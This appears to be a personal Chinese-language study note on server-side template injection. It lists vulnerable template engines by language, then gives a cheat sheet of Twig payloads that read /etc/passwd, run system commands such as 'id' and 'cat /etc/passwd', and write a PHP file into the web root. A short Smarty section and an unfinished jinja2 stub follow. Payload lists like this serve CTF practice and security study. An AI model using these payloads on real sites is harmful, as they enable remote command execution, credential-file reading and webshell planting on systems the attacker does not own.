在用不同的语言进行网站业务开发的时候,往往会有很多模板引擎方便开发。这些模板引擎会提供一些特定的模板便于生成对应的html页面元素,而如果对用户的输入不加以控制的话,就会导致SSTI注入漏洞。

各种语言常发生SSTI注入漏洞的模板引擎:
python: jinja2 mako tornado django
php: smarty twig Blade
java: jade velocity jsp
PHP
Twig模板
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
Smarty模板
参考文献:[CISCN2019 华东南赛区]Web11 – Rabbittt – 博客园 (cnblogs.com)
PHP Smarty有哪些常用的标签和函数?_smarty 自定义标签-CSDN博客
Smarty 最新 SSTI 总结 – 先知社区 (aliyun.com)
标签:
- {php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用 - {literal}
可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。 - { $variable }
让你能够在模板中显示变量
例:{echo "Hello, World!"} - {if}
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等
例:{if phpinfo()}{/if}
Python
jinja2模板
一般来说flask用的就是jinja2模板
有一篇很厉害的文章:https://blog.csdn.net/qq_38154820/article/details/111399386
我的文章只记录我用到过的内容吧